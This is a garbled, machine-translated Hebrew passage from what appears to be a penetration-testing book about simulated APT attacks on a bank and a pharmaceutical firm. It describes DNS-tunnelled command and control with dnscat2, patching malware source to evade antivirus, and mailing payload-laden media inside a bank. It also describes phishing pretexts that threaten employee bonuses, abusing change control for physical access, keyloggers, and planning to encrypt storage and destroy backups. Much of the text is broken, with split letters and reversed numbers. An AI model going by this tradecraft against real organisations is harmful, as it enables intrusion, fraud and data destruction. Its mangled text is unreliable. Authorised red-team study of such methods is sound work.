זה לא כ ל מה ש קורה.
ש ל חתי פינג ש ל שם דומיין מ לא וה ח בי לות נ שמ טו א ב ל קודם זה נפתר ל כתו בת IP.
כתו בת IPצי בורית באינ טרנ ט .שרת -DNSההמ קומיי כו ל לפתור כתו בות IP,מה שאומר
ש ב ש ל ב מ סוים ב שר שרת -DNSה מאר ח מד בר עם גוג ל .כנראה שגם ל שרת -DNSה
המ קומי הזה אין גי שהי שירה לאינ טרנ ט ,א ב ל הוא בה ח ל טי כו ל לד בר עם -DNSההפונה
לאינ טרנ ט ש ל ה בנ ק כדי לפתור שאי לתות .העו בדה שמנות ה PMCI-הו שמ טו אינה
ר לוונ טית :אניי כו ל לה שתמ ש ברזו לוציית DNSעצמה כאמצעי פי קוד ו ב קרה .אם אתה
מ סת כ ל ע ל שאי לתת חפירה ,הד ברים ע שויים להיות הגיונייםיותר:
dig +traceעו בד ע לידי העמדת פנים שזהו שרת שמות באמצעות שאי לתות אי טר טי ביות ו
עו ק ב א חר הפניות לאורך כ ל הדרך .כאן אתה רואה את שמות ה סמ כותיים
שרתי שמות ע בור [Link]ו כן רזו לוציית ה PI-ה סופית.
המ טען ש לנו ) כ שאתה מ ח לי ט מה זה( צריך להיות מ סוג ל לת ק שר
C2ש לנו באמצעות שאי לתות DNSר קור סי ביות שהן בעצמן הנתונים המת ק ב לים .ב
בנו סף ל כך ,מידע צריך לע בור ב חזרה למ טען כנתוני DNS
בדרך כ ל שהי .היתרונות הם שזהי חתוך את א ב ט חת הג בו ל ש להם כמו
ס כין לוה טת דרך חמאה והיא חמ קנית ,אם כי לא ניתנת לזיהוי.
תזד ק ק ל כמה ד ברים לפני שתו כ ל להת חי ל ל בנות את הפתרון הזה:
Machine Translated by Google
שם דומיין שנר שם במיו חד ע בור המת קפה .זהי כו ל להיות כ ל ד בר
אתה רוצה.
שרת C2ש לנו צריך להיות סמ כותי ע בור שם הדומיין הזה.
[Link].
IN NS [Link]
172800 [Link].
[Link].
IN NS [Link]
172800 [Link].
IN NS [Link]
[Link]. 172800 [Link].
איור 3.1:היופי בהגדרה הזו הוא שאם ה 2C-ש לך מופרע ע לידי פעו לות א ב ט חה,
אתהי כו ל ל כוון את -DNSה ש לך ל שרת א חר.
י שנן ש לו ש דר כים ש בהן ניתן לזהות מת קפה כזו:
זיהוי תו כנות זדוניות/אנ טי וירו ס מ בו ס ס מאר ח .במ קרה זה ,אתהי כו ל להר כי ב
את המ טען ש ל dnscat2ב כ ל דרך שתרצה להימנע מ חתימות AV.
ניתו ח תנועה מ בו ס ס חתימה .לא ס ביר א ב ל לא ס ביר.
זיהוי אנומ ליות DNSמ בו ס ס היורי ס טיות .בהת ח ש ב ב כך ש לSND-י ש ב לי בה פונ קציה
פ שו טה מאוד -פתרון שמות מאר חים ל כתו בות IP -י שנן דר כים ש בהן התע בורה
הזוי כו לה להיראות ח שודה ע ל הג בו ל .אנ חנו פותרים הר בה מאר חים באותו דומיין
ברצף מהיר ,כמו גם מ בצעים הר בה ב ק שות חיפו ש TXT.באופן כ ל לי ,למאר ח ל קו ח
אין הר בה סי בות אפי לו ל ב ק ש ר שומות TXT.ב שום ד בר מ ל בד ס בי בה א ב ט חה
ג בוהה ,כנראה ש לא תו כ ל לדאוג שרמת ה בדי קה הזו לא בוצעה ,א ב ל הנה אני ח ש כן
ואת כנן את הת קיפה ש לנו בהתאם.
שרת ,מ כ שיר או פ ל ח ר שת .במ קרה הפ שו ט ביותר ,זה כו ל ל תע בורה ח שודה ) כמו
סרי קתיציאות( או מ ספר כני סות כו ש לות ברציפות בנת ב ש ל סי ס קו .ניתן ל כ לו ל
ו להגדיר התנהגות ספציפית כאירוע א ב ט חה ו ל ש ל ב אותה במער כת הני טור המר כזית.
IDSת ק ב ל את הנתונים מ ש לו שה מ קומות:
מער כת זיהוי חדירת ר שת ) (NIDSע בור ממ ש קי ר חרו ח פ סי ביים לניתו ח נתוני מ טען
וני טור א חר פעי לות שע לו לה להיות זדונית-NIDS .הי ק ב ל את הנתונים ש לוי שירות
מהמתג באותו מ ק טע דרך טוו ח פיזי ,ה ק שה אויציאת מראה ,כך ש לא תעצור את
רו ח ב הפ ס ה לי בה ש ל הר שת ש לך.
מער כת זיהוי חדירות מ בו ס סת מאר ח ) (HIDSלאיתור בעיות בנ קודות קצה ,כו ל ל
ני טור ש למות ה ק בצים ,בדי קות rootkitו בדי קות הרי שום ש ל Windows.
צוות SOC
הר כ ב צוות SOCמ שתנה מאוד בהתאם לצר כים ו לת קצי ב ש ל הארגון המדו בר .ח ברות
מ סוימות מעדיפות להע ביר את ה שירותים ה ל לו למי קור חוץ לצד ש לי שי המתמ חה
בני טור הגנתי בר שת .עם זאת ,במ קרה ש ל בנ ק בינ לאומי ,אתהי כו ל להני ח שהצוות
ייראה כך:
מנה ל מ שמרת -א חראי ע ל מ סירות בין מ שמרות ו חו בות נ לוות כגון תדרוך למ שמרת
ה באה ע ל המצ ב התפעו לי הנו כ חי ,אירועי א ב ט חה מתמ ש כים ו כדומה.
אנ לי ס טים ב שורה הרא שונה ש ל SOC -עו בדים במ שמרות 24/7תוך ני טור SIEM
)ניהו ל אירועי א ב ט חה( -עוד ע ל כך בעוד ד קה .אם מזוהה הת קפה ,כר טי ס מוע לה
ומוע בר למנת חי ה קו ה שני.
אנ לי ס טים ב שורה ה שנייה ש ל SOC -זמינים גם 24/7,אם כי לא בה כר ח באתר.
י ק בע אם ה כר טי ס הוא חיו בי שגוי או שי ש צורך לה ס לים אותו לאנ לי ס טים ש ל ה קו
ה ש לי שי.
אנ לי ס טים ש ל קו ש לי שי ש ל SOC -זמינים ט כנית 24/7בהתאם לאופי האירוע .אם
ה כר טי ס הגיע לנ קודה זו ,צפוי להיות אירוע א ב ט חה רציני מתמ שך או תר חי ש "יורה
פעי ל".
ח שו ב לה בין כיצד פוע ל SOCמ כיוון שא לו האנ שים שאתה צריך לנצ ח בתרגי ל דוגמנות
APT.ל לאיוצא מן ה כ ל לי ש להם ס לידה חז קה מ בו חני חדירה ,ש כ ל הד ברים שווים הם
מו בנים ל ח לו טין .ראה איור 3.2.
בפר ק הרא שון למדת ע ל ה ח שי בות ש ל הת חמ קות מאנ טי וירו ס .אתהי כו ל לע שות
מ שהו דומה עם IDS.זה מועי ל ל בו חן להיות מ סוג ל ל ש כפ ל תנאייעד במע בדה
באמצעות ט כנו לוגיית VM.ל כ ל ה ספ קים הפופו לריים ביותרי ש גר סאות ני סיון שתו כ ל
להוריד ו ל ש ח ק איתן -אינך צריך ל ש כפ ל ר שת מור כ בת אך הי כו לת לראות כיצד IDS
מגי ב לתע בורה ש לךי כו לה ל ח סוך לך ע בודה ר בה ו ל למד הר בה ע ל פעו לות א ב ט חה .
נ כון ל כתי בת שורות א לה )ו לעניות דעתי( ,ה ספ ק ה טו ב ביותר במר ח ב הזה הוא
AlienVault.
ה ט כנו לוגיה ש להם מ קיפה ה כ ל -HIDSו -NIDSמ ועד SIEM.זהו או סף ש ל ט כנו לוגיות
שנ ל ק חו ממ קומות שונים ומ שו ל בות SOCs .ר בים מ בו ס סים ע ל ה כ לי הזה והואי כו ל
למ שוך נתונים כמע ט מ כ ל ד בר )אם הוא לאי כו ל ,אתהי כו ל ל כתו ב תו סף כך שיע שה
זאת( .הורד את מוצר -USM All-in-Oneה ש להם כגר סת ני סיון ב חינם ו ש ח ק איתו,
ה בן את שי לו ב )-OTX (Open Threat eXchangeה ש לו ו כיצד זה מ שמעותי בעו לם
ש בו מודיעין כזה צריך להיות מ שותף ע ל ב סי סיומי.
חיו בי שווא
נ קודה א חרונה ,בהת ח ש ב במ ספר האירועים שייווצרו מו ל מ שא בי -SOCה והצורך ש לו
ל ח ס ל תוצאות כוז בות ,נ כ סים המנו טרים ע לידי IDSמ ק ב לים ערך מ ספרי המוע בר
לנו ס חה כא שר ה ט כנו לוגיה מ ק ב לת ה ח ל טה האם אירוע נ ח ש ב ראוי ל סימון -SIEMבאו
לא .ערך נ כ סי כו ל להיות )0ה כי פ חות ח שו ב( עד )5ה כי ח שו ב( .הנו ס חה לו ק חת
ב ח ש בון את עדיפות האירוע )גם 0עד ) 5ואת המהימנות ש ל זיהוי האירוע (0עד 10).
הנו ס חה נראית כמו
Machine Translated by Google
בתר חי ש APTש בוית כן שתו קףיצ טרך להי שאר מו סתר במ שך זמן ר ב תוך הימנעות
מזיהוי ב ס בי בה מפו ק חת א ב ט חה ,התו קף צריך ל שאוף להתפ שר ע ל נ קודות קצה שיהיו
בע לות ערך הנ כ ס הנמוך ביותר כפי שניתן באופן ס ביר לה שתמ ש בו לצורך בדי קה
נו ספת .מדפ סות מודרניות ,למ ש ל,יהיו מ חו ברות לר שת ו בע לות פונ קציונ ליות ש כנראה
תתר ח ב מע בר למה שהמ כ שיר צריך .כ כא לה ,ניתן לה שתמ ש בהם לא ח סון ק בצים,
כ לים ,ו במ קרים מ סוימים הת קפות א ספ קה .נת ב ש ל סי ס קויי ח ש ב כ כ ל הנראה לנ כ ס
בע ל ערך ג בוה ,אך הני טור בדרך כ ל ל צריך להיות מ כוון ב קפידה כדי למנוע עודף חיו ביות
כוז בות .סרי קתיציאה ק לה שמגיעה ממ כ שיר Ciscoלא ת סומן או תי סגר מיד ע לידי
צוות SOC.עם זאת ,לנת בים מודרניים ש ל סי ס קו מות קן כ ברירת מ חד ליי שום ש ל שפת
ה ס קריפ טים ש ל TCLו למרות שזה לאיי שום ש לם ) למר בה הצער מודו ל Expectאינו
נתמך למ ש ל( ,הוא עדייןי כו ל ל שמ ש לת קיפות ס קריפ טים ו לה ק ל ע ל רי קו ל נמוך ואי טי.
פרופי ל מי קוםיעד
היעד ש לנו כו ל ל למע לה מ 02-מ טה במדינה הזו ב ל בד ) לא מ שנה סניפים קמעונאיים(
ו ל כ ל בנייןי ש קוד .כ ל שו ל חן ב בניין ניתן לזיהוייי חודי בע ק בות קוד זה; לדוגמה ,למר כז
הנתוניםי ש קוד ש ל MZ.
למי שהו ב קומה הר ביעית ש ל מר כז הנתונים הזה בד לפ ק 298יהיה קוד המ סירה
היי חודי ש ל MZ4.298.זה מאפ שר הפניה ק לה לדואר פנימי ,כמו גם נותן למ ב קרים
)ממפ קדות א חרות( את הי כו לת למצוא מי שהו במהירות בעת ה שתתפות בפגי שות ו כן
ה לאה .מ קו ב ל ב בנ ק ש קוד זהיי כ ל ל ב כותרת הת חתונה ש ל המיי ל .אנייודע את זה כי
ע שיתי הר בה ע בודה ב ש בי לם ,א ב ל תו קףיצ טרך לע שות עוד קצת ע בודת רג ליים.
שרתי דואר מ סוימיםיגידו לך אם כתו בת אימיי ל חו קית ,ח ל ק לא .זה ת לוי איך הם
מגי בים לפ קודת RCPT TOידנית .ח ל קירצו
Machine Translated by Google
הגי בו בהודעה לא חו קית ,בעוד שא חרים פ שו טיגי בו ב סדר ואזי קפיצו את ההודעה.
זה לא ממ ש מ שנה במ קרה ש לנו ,א ב ל תמיד בדו ק מה זה לפני שמת חי לים מ סע דיוג
ב חנית ,כי זה נ חמד ש לא נד חתה אף א חת מההודעות ש לנו כי היה חריג במו ס כמות
ה שמות .שרתי דואר מ סוימיםי ח סמו אותך כ שו ל ח דואר ז ב ל פו טנציא לי אם ה PI-ש לך
צו בריותר מדי מ ש לו חים כו ש לים.
אי סוףיעדים
רא שית ע ליך ל בנות את ר שימת היעדים ש לך .מה שאתה רוצה זה ר שימה ש ל כ001-
שמות במ ח ל קות שונות .זה לא מ שנהיותר מדי באי לו מ ח ל קות ב ש ל ב זה ,פ שו ט נ סו
ל ק ב ל פיזור שווה .הנ קודה היא שתצ טרך ליצור עי לה -כ ל עי לה באמת -כדי ל ש לו ח
דוא" ל לאנ שים בר שימה הזו ו ל ק ב ל תגו בה; התגו בה ת כי ל את קוד ה בנייה האי שי
המאפ שר לך ל ספ ק את המ טען באופן ספציפי מאוד במ סגרת המו ס כמות המ קו ב לות
והאמינות ש ל ה בנ ק .המ כת ב ה בא
דןי קר,
היה נהדר להתעד כן -Infosecב ב ש בוע שע בר .אם בא לך ל שתות בירה ביום שי שי הזה אני אהיה בעיר.
ב בר כה,
דיי ב
ל חיים ,דן
ש ל ב I:תצורת שרת בנו סף לת שתית ה 2C-ה קיימת ש לך ,ע ליך להת קין את צד ה שרת
ש ל dnscat2,וזה פ שו ט מ ספי ק .א למנ ט ה שרת כתו ב כ ס קריפ ט Rubyאז אתה ר ק
צריך לעמוד ב כמה דרי שות מו קדמות .ב ,xuniL-ה שתמ ש בפ קודה הזו:
ש ל ב ב' :תצורת ל קו ח
מ כיוון ש ל קו ח dnscat2בה ח ל טיזוהה מה קופ סה ע לידי AV,ע ליך ל בצע כמה שינויים
במ קור Cלפני הידור ש לו .שינוי קוד המ קור ש ל קו בץ הפע להיעי ל בע קיפת זיהוי וירו סים.
ש ל ב III:אריזה פיזית
שו ב ,המ טרה היא להיראות לגי טימי כ כ ל האפ שר .אם אתה פור ס את ה ח בי לה ש לנו ע ל
די ס ק אופ טי ,ה שתמ ש במדפ סת תוויות ו באמת הפוך אותה למ קצועית .במ קרה זה,
אפרו ס איתו ת לו ש דואר שמ קורו ב בנ ק המדו בר עם פת ק כתו ב מהיר כדי לתמוך
בתואנה.
ה טרי ק ה בא הוא לה כני ס את ה ח בי לה לדואר הפנימי ש ל ה בנ ק .זה ק ליותר
Machine Translated by Google
העי להי כו לה להיות כ ל מה שתרצה כ ל עוד היא נראית ר שמית ,נראית כאי לו מגיעה
ממ קור ר שמי ונראית חו בה .המון ד ברים הם חו בה ב ס בי בה ארגונית )הדר כות תאימות
הן דוגמה טו בה( ,א ב ל ח ש בו למה זהיגיע למדיה פיזית -האם זה סודי מדי ל ש לו ח
בדוא" ל? האם העו בד נ ב חר מתוך ר שימה קצרה מ כ ל סי בה שהיא -האם הוא אמור
להרגי ש ז כות ל ק ב ל את זה? האם ה ש למה חיונית כדי ל ק ב ל את ה בונו ס ש להם? איים
ע ל בונו סים ש ל אנ שים ואתהי כו ל לגרום להם לע שות ה כ ל.
ההת קפה
י ש לך את ה 2C-המ שודרג ו ח בי לה פיזית פרו סה למ ספר מר כזים ש ל בנ ק הפונה ליעדים
תוך שימו ש ב קודי ה בנייה הנ כונים ,המו ס כמות ומינו ח א חר .זו פיגוע מתו כנן הי ט ב
ומי שהוינ שך .בינתיים ,מה ע ליך לת קוף כא שר אתה מ ק ב ל גי שה? מער כות ת ש לום
נראות כמו ת שו בה ברורה ,א ב ל הי כו לת ל ק ב ל גי שה למער כות הת ש לומים והי כו לת
ל שים את היד ע ל ה כ סף הם שני ד ברים שונים מאוד .תו קף ע לו ל ל ברו ח מזה פעם א חת,
א ב ל כ ל ס כום כ סף שיהפוך סי כון כזה ל קייםיגרום ל בי קורת ו ל ב ט חי ביא להפע לת
העי קרון שנ קרא שתי-ה קי שות ש בו ק בוצת עיניים א חרת תצ טרך לא שר הע ברת כ ספים.
תצ טרך להיות ב טו ח מאוד בה בנתך את המער כות המדו ברות ,התפ שרת ע ל מ ספר
מ שתמ שים ,ו להיות מ סוג ל ל ש לו ט בזרימת המידע במידה מ סוימת .המפת חות לממ ל כה
הם לא מער כות הת ש לום ,א לא מנגנוני ב קרת ה שינוי.
ב קרת שינויים היא הגי שה ה שי טתית לרי שום/אי שור כ ל שינוי במוצר ספציפי ,ער כת
חו קים ש ל חומת א ש ,שדרוג תו כנה או כ ל ד בר א חר .זה ח ל גם ע ל ב קרת גי שה פיזית.
ל בנ ק בינ לאומיי ש הר בה מאוד ט כנו לוגיות שונות והוא ת לוי במי קור חוץ ע בור ח ל ק גדו ל
מהע ס קים ה שו טפים ש לו .ב קרת שינויים ת שמ ש כדי לה ח לי ט למי תהיה גי שה למה
ומתי .לדוגמה ,הת ב ק שה בי קורת נ קודות תורפה ע ל מתג בנ קאי לי בה שידרו ש גי שה
פיזית לאו לם ה שרתים כדי ל בדו ק.
מי שהויצ טרך ל חתום ע ל זה ו לומר למע שה " ,לאדם הזהי ש א
Machine Translated by Google
מי שהויצ טרך ל חתום ע ל זה ו לומר למע שה " ,לאדם הזהי ש צורך ע ס קי להעני ק לו גי שה
לאתר ABCבתארי כים א לה והואיזד ק ק בנו סף לגי שה לאו לם ה שרתים "XYZ.זהיי כנ ס
ל ב קרת שינוי כדי לא שר או לה כ חי ש.
אםיאו שר ,כא שר המ ב קריופיע באתר ,הא ב ט חה ת בדו ק את תעודת הזהות ש לו ותיתן
לו כר טי ס כני סה זמני .אם הוא צריך גי שה לאו למות ה שרתים אז ברגע שהוא נ כנ ס
למת חם הא ב ט חה ,הוא מו סר את תג הזמני ש לו ע בור כר טי ס כני סה לאו לם ש לאיאפ שר
למ שתמ ש לצאת מה בניין .אז הואיצ טרך לה ח ליף אותו ב חזרה כ שהואיעזו ב .בדרך זו
מע בר האו לם לאי כו ל לצאת מה בניין .כ ל זה נ שמע מאוד ב טו ח .ה בעיה הי חידה היא
ש ב קרת שינויים היא בעי קר שימו שית ר ק לרי שום שינויים ,כך שאם מ שהו נ ש בר,י ש ש בי ל
בי קורת כדי להראות בדיו ק מה קרה ומה צריך ל חזור א חורה.
בפוע ל ,א לא אם כן שינוי מ סוים הוא חריג ,זהו תה ליך חותמת גומי ,במיו חד ע בור ב קרת
גי שה פיזית .כ ל כך הר בה אנ שים באים והו ל כים כ ליום שזה לאי כו ל להיות שום ד בר
א חר .באופן ע קרוני-CISO ,הצריך לא שר ב ק שה ליועץ א ב ט חה להי כנ ס לאו למות
ה שרתים ,א ב ל זה מי שהו ממ ש ברא ש ה סו לם ש לאיידע אי לו בדי קותיומיומיות מת בצעות
או שמות ש ל כ ליועץ שנ כנ ס לת חום ש לה .אם רא ש צוותיגי ש ב ק שה כזו ב ב קרת שינויים
היא תאו שר .באופן כ ל לי ,זה נראה כך:
אף א חד לא ח כםיותר.
כ שההת קפה תע לה לאווירdnscat2 ,י חזור ל 2C-ש לנו ויאפ שר לנו לע בור במנהרה לתוך
מ טען ה HSS-ש לנו .ממ ש ק המ שתמ ש ש ל dnscat2מור כ ב מ ח לונות .ח לון ברירת המ חד ל
נ קרא ה ח לון "רא שי" .אתהי כו ל ל ק ב ל ר שימה ש ל ח לונות ע לידי ה ק לדה
> ח לונות
א ֹו
]*[ [Link]
היא תיצור מנהרה ביציאה 443ש ל שרת C2ות סתיים ב 344-במ ח ש ב שנפרץ ש לנו
) בהנ חה ש כאן כמו בן ש HSS-מאזין ב.(344-
כעתי ש לך גי שת מע טפת מאו ב ט חת למאר ח היעד ואתהי כו ל ל בצע פ קודות ו להע ביר
ק בצים ,ה כ ל באמצעות ב ק שות ותגו בות DNSע קיפות .כ ליי שומי אינ טרנ ט שמ סוג לים לע שות
זאת בר שת היעד ) כו ל ל ב קרת שינויים(י שתמ שו ב DA-כדי ל טפ ל באימות .כ לומר ,הגי שה
תי ק בע באמצעות ר שימת ב קרה מר כזית המ קו שרת ל ח ש בון הדומיין ש ל המ שתמ ש ו לא
מתוך הת ח ברות /סי סמה ספציפית לאפ לי קציה .זה מעניין מ כיוון ש ב ש ל ב זה אתהי כו ל
לפרו ס Keyloggerכדי לתפו ס את האי שורים ש ל היעד או לה חדיר את הת קפת -Proxyה
ש ל IEי שירות לדפדפן האינ טרנ ט כמו בפר ק 1.ל שתי הגי שותי ש את היתרונות ש להן ,אם כי
הרא שונה תדרו ש ה ס למה ש ל הר שאות כדי להצ לי ח כמו גם הר בהיותר זמן .זה בדרך כ ל ל
לא בעיה ,א ב ל אנ חנו דנים בתה ליך הזה לעומ ק בפר ק ה בא במעור בות ארו כת טוו ח.
ה סעיף מתאר מת קפה ש ביצעתי ב .2102-אף א חד לא ח קר אותי )או באמת הודה בי(
עד ש סיימתי את הי ב ט או לם ה שרת ש ל ההת ק שרות )צי למתי כמה תמונות ש ל ר כזות
ניתו ב לי בה( וה ח ל טתי לע לות למע לה כדי להת ח בר ל LAN -כדי ל ק ב ל כמה צי לומי מ סך.
פנו א ליי מא ב ט חה ט כנית ) ש שמה ל ב ש כתו בת ה CAM-במ ח ש ב הנייד ש לי לא ר שומה(.
סי כום
-CISOה קי ב ל את המצגת המפ חידה ש לו ואת הגד לת הת קצי ב שהוא רצה ,א ב ל ב טוו ח
הארוך לא ס ביר שהתרגי ל הגדי ל באופן דרמ טי את עמדת הא ב ט חה ש ל הארגון .אתה
י כו ל לתעדף א ב ט חה ,אתהי כו ל לזרו ק ע ל זה ש ל ל כ סף ,א ב ל ה שורה הת חתונה היא
שאתה עדיין צריך להיות מ סוג ל לע שות ע ס קים .אם אתה צריך שאנ שיםי כנ סו ל בניינים
ש לך ויע שו ע בודה ע ל ב סי ס ק בוע ,צרי כה להיות דרך זורמת כדי לאפ שר לזה ל קרות,
שמת ח ש בת גם בה ש ל כות ה בי ט חוניות .במ קרה זה ,זה נ כ ש ל.
הה ש ל כה כאן היא שהמער כות ה ברורות לת קוף אינן בה כר ח הנ כונות .כפי שצוין לעי ל,
כ בוד קי ע טים נו כ ל כנראה לערער את מער כות הת ש לום עצמן ,א ב ליהיה ק שה לע בור
מ שם להוצאת כ סף פיזית מה בנ ק )הדגמה מר שימה כ כ ל שתהיה( .במ קרה זה ,ב חרנו
לפגוע במער כות ב קרת ה שינויים מ כיוון שהן היו פגיעותיותר ויאפ שרו לתו קף הר בהיותר
גמי שות ב ש לי טה ו בעיצו ב ה ס בי בה כראות עיניו .מי ליונים הוצאו בא ב ט חת אפ לי קציות
אייפון ואתרי בנ קאות קמעונאית .שום ד בר לא הו ש קע ב בדי קת מער כות ב קרת ה שינויים.
תרגי לים
1.ה כירו את המוצר AlienVault USM.ה בנה ש ל מה שה ב חור ה שני רואה ת שנה את
זרימת הע בודה ש לך ל טו בה.
2.ח קור את dnscat2ומ ק בי לותיו .בדו ק את התע בורה באמצעות Wireshark.
איךי כו לת להפוך את התנועה ל חמ קניתיותר?
Machine Translated by Google
פר ק 4
פארמה קארמה
במה לך 2011,מפגיני " כ בו ש את וו ל ס טרי ט" חנו בגנים צי בוריים בר ח בי ארצות
ה ברית .הם כע סו ע ל מ שהו.
הם לא היו ב טו חים מה.
המ סרים ש להם היו לא קוהרנ טיים .הם רצו שהממ ש לה תת קן ד ברים.
הם רצו שהממ ש לה תפ סי ק את חמדנות ה ח ברות .א ב ל למרות כ ל האידיא ליזם שמא חורי
התנועה ,המפגינים ה חמיצו נ קודה ב סי סית א חת ח שו בה :תאגידים ) כמו מדינות לאום(
בר חו מהי קף אנו שי .אין "אדם" להי ל חם בו ,ר קי שות ר ח בתידיים שמ טרותיה הן הנצ חה
והתר ח בות.
מה זה ק שור לא ב ט חת מידע? ה כ ל .עד ש לא ע בדת ע בור תאגיד ענ ק ,ק שה לה בין באמת
איך הם מתפ קדים; קו ל ק טי ב ש לי חידות ע ס קיות ק שורות המ חו ברותי חדיו בתה ליך
ב לתי מתפ שר .מנ כ" ל הוא דמות דמות ,לאיותר -מי שהו שי שים פנים למוצר חד ש
במ קרה ש ל אפ ל או מי שהו שאתה צריך ל חפ ש כדי לדעת את שמו במ קרה ש ל Verizon
או מי שזה לאיהיה.
ח ברות התרופות אינן זרות למ חות ו 1102-לא הייתהיוצאת דופן .ק בוצות שמ בצעות
כ לונ סאות נו בר טי ס או פייזר הן כ ל כך נפוצות עד שאינן שוות אז כור .כמו בן ,ה בעת
התנגדותך למדיניות התאגיד ) במ קרה זה ני סויים ב בע לי חיים( באמצעות הנפת באנר
אינהיעי לה במ קרה ה טו ב בדיו ק בג ל ל ה סי בות ה ל לו.יום א חד ,א חת מה ק בוצות ה ל לו
ת למד כי שורי חדירת מער כת ב סי סיים והם ע שויים לה שיג מ שהו.
מייודע?
כ שה שתתפתי בפגי שת ההי קפים כדי לדון במעור בות בדוגמנות APTעם פארמה גדו לה,
גי ליתי את התופעה המדהימה ש כ כ ל הנראה אי ש בניו ג'רזי לא הו לך ל שום מ קום.
ה ח ל טתי להי שאר בהו לידיי אין מע בר ל כ בי ש מה ח ברה כדי שאו כ ל פ שו ט ל קפוץ מהמי טה
ו לא להתע ס ק עם מוניות או ר כ בים ש כורים .תארו לעצמ כם את ההפתעה ש לי כ שמצאתי
את עצמי מ בי טה ב קצה הע ס ק ש ל מ ק ל לי לה גדו ל שה חזי ק מא ב ט ח מא סי בי דומה.
ה ס ברתי שהייתי שם לפגי שה ע ס קית בזמן שהוא די בר בעצ בנות לתוך מ כ שיר ה ק שר
ש לו" ,אני לאיודע ,הוא פ שו ט נ כנ ס ל כאן ".ה כ ל ה סתדר ,א ב ל לפגי שה ש למ חרת ,ל ק חתי
במ קום הה סעה ש ל המ לון ,שנופפה ל לא מ ב ט שני .לא חר מ כן ל ק חתי את המע בורת
הפנימית ל בניין -ITה ו
Machine Translated by Google
ר קע ותדרוך מ שימה
פעי לי ז כויות בע לי חיים ו ק בוצות ק שורות ה קימו קמפיין אינ טרנ טיותר ויותר ממו קד נגד
המ טרות ש להם .בע בר ,ט ק טי קות א לו הוג ב לו במידה ר בה לה טרדות ואיומים באימיי ל,
אך הת קפות ממו קדות מתוך כוונה ל ס כן מ שתמ שים הפ כו נפוצותיותר ויותר
מתו ח כמות .תר חי ש ה סיו ט בארגון איתו די ברתי היה הת קפות פיזיות נגד הצוות ש להם
והת קפות ש לי שוניות נגד ה ספ קים ש להם )וה ספ קים ש ל ה ספ קים ש להם ו כו'( .גי שה כזו
הייתהיעי לה מאוד בע בר ב ברי טניה ,והו בי לה ל כך שממ ש לת ברי טניה התער בה כ ל כ לית
במ ספר מ קרים כדי למנוע ממת קני תרופות לצאת מע ס ק .מפגינים אמרי קאים למדו
את ה ל ק חים ה ל לו הי ט ב ומוד ל המ חאה ש ל )SHACהנ קרא ע ל שם ארגון ז כויות בע לי
ה חיים שהיה ח לוץ בו( הפך פופו לרי בארצות ה ברית.
מתוך מ ח ש בה ע ל כך ומתוך עין ל ח ס כון ב כ סף ,ההת ק שרות כו לה תתנה ל באופן פנימי
מתוך הנ חה שתו קף ה שיג גי שה בדרך כ ל שהי או שהתו קף לא היה ש ח קן חיצוני א לא
עו בד בע ל גי שה לגי טימית לר שת הארגונית . .ה ח ברה גם נתנה אמון ר ב ב ט כנו לוגיית
חומת א שי קרה ש ל די ס ק ק שי ח שהם פר סו לא חרונה ,תו כנה ש ל טענתה מ סוג לת
לעצור את " כ ל ההת קפות ,הןידועות והן לאידועות" .כפי שתראו ,האמונה הזו תת ברר
כ לא מ קומה לה חריד.
זהיצר תו כנית פ שו טה ,לפ חות ע ל הנייר .ס ביר להני ח שנצ טרך ל ק ב ל גי שה למער כות
מ שא בי אנו ש ל כ ל הפ חות ,א ב ל עדיףיהיה אם תו כ ל לה ס לים את ההר שאות ע ל פני
כמה שיותר מהר שת ,כו ל ל מער כות גי בוי .כך תו כ ל לדמות אירוע הר סני עצום .ברגע
שתו קף ה שיג גי שה למ שא בים מ שמעותיים ,הדרך המהירה ביותר להפוך אותם ל ב לתי
שמי שים תהיה להצפין את הא ח סון ה ק שי ח ו ל ב ט ל אתי כו לת הגי בויים .בהת קפה
אמיתית ,ש ח קן חיצוניי שנה את הפרמ טרים ש ל הגי בויים כדי לה ח ליף את הגי בויים
בא שפה .ק ל טות גי בוי ) כן ,הם עדיין ב שימו ש בהר בה מ קומות א ב ל זה עו בד גם ע בור
ט כנו לוגיות מ ק בי לות( ,למ ש ל ,בדרך כ ל ל נע שה שימו ש חוזר כ ל ש בועיים .כא שר כ ל
הנתונים מו שמדים ,הת קפה ע ל הת שתית תהיה סופנית.
Machine Translated by Google
ה ק ל לה שהיא פ לא ש
הע בריין הגרוע ביותר הוא Adobe Flash.הנו כ חות ה כמע ט אוני בר ס לית ש לו ב שי לו ב
עם הי ס טוריה ארו כה ש ל א ב ט חה איומה מ שמעה שהוא מהווה מר כי ב עי קרי ש ל
ער כות ניצו ל ,תו כנות כופר והורדות מונעות .אין דרך מאו ב ט חת לפרו ס את סיפור
האימה הזה ש ל תו סף -ה ש בת או ה סר אותו .ברו ב המו ח ל ט ש ל המער כותיהיה פ לא ש,
ו ח שו ב שיהיו כמהיתרונות ע בורו בהי שגיד.י ש כ ל כך הר בה עד כוני א ב ט חה Flash
-Adobeל שרו ב המ שתמ שים )ארגוניים או א חרים( פ שו ט לא טור חים )א לא אם כןי שנה
מדיניות ט כנית ארגונית לע שות זאת באופן או טומ טי ,ו במ קרה זה ס ביר להני ח ש ס בי בה
מודעת א ב ט חה כזו סימנה זאת כ ט כנו לוגיה א סורה ב כ ל מ קרה( .אנ טי וירו ס טו ב
ב ח סימת ניצו ל -Flashההגנרי שמופיע ב כ לים כמו Metasploit,א ב ל כמו ב כ ל תו כנה
זדונית ,כמה שינויים ק טניםי כו לים לה ב טי ח שהת קפה ת חמו ק מההגנות תוך שמירה
ע ל אפ ק טי ביות .איורים 4.1ו -4.2צרי כים ל ספ ק חומר למ ח ש בה.
Machine Translated by Google
אם אתה רוצה להמ שיך ו למ שוך אותו מהר שת ש לך ב שור שים ,ה קירות לאיתמו ט טו.
הע בריין הגדו ל ה שני הוא ג'אווה .ראית מו קדםיותר ש ק ל להר כי ביי שומון Javaכדי ל בצע
הת קפות ספציפיות נגד ה ל קו ח ,וזה נהדר אם הוו ק טור הזה עו בד ב ש בי לך .עם זאת ,כמו
פ לא ש ,גר סאות מ סוימות ח שופות להת קפות שיוציאו את הה ח ל טות ה ל לו מידי היעד
ברגע שהם מ ב קרים באתר שמ כי ל את הניצו ל ש לך.
אין כמע ט נ קודות תורפה -Javaב כמו ; -Flashב עם זאת ,זו עדיין ה בעיה ה שנייה
ב ש כי חותה ביותר שזוהתה באותו AlienVault SOC,כפי שמוצג באיור 4.3.
כא שר ממ קדים למ ספר עצום ש ל מ שתמ שים בהת קפת פי שינג ,זהי כו ל להיות מ קו ב ל,
